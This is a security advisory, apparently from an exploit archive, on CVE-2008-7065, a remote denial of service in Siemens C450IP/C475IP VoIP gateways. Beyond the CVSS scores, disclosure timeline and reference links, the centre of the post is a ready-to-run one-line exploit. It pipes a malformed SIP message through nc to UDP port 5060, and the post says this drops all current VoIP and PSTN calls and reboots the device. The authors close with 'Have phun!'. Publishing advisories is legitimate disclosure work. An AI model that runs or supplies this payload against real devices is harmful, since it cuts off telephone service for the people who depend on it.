Siemens C450IP/C475IP DoS

2008-11-24 / 2008-11-25

Credit: Martin Kluge

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2008-7065

CWE: CWE-Other

CVSS Base Score: 7.8/10

Impact Subscore: 6.9/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: None

Integrity impact: None

Availability impact: Complete

Hi,

echo -e "X sip:s XnFrom:<sip:&#64;x>nTo:<sip:&#64;x>n" | nc -q0 -u <target> 5060

Will disconnect all current VOIP and PSTN calls and reboot
the C450IP/C475IP devices.

Tested with current firmwares.

Vendor (Siemens) was contacted 11/2007, no fix supplied yet.

Have phun!

sky & Any

References:

http://xforce.iss.net/xforce/xfdb/46820

http://www.securityfocus.com/bid/32451

http://www.securityfocus.com/archive/1/archive/1/498599/100/0/threaded

http://www.milw0rm.com/exploits/7220

http://secunia.com/advisories/32827

http://osvdb.org/50274

See this note in RAW Version

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Siemens C450IP/C475IP DoS

References:

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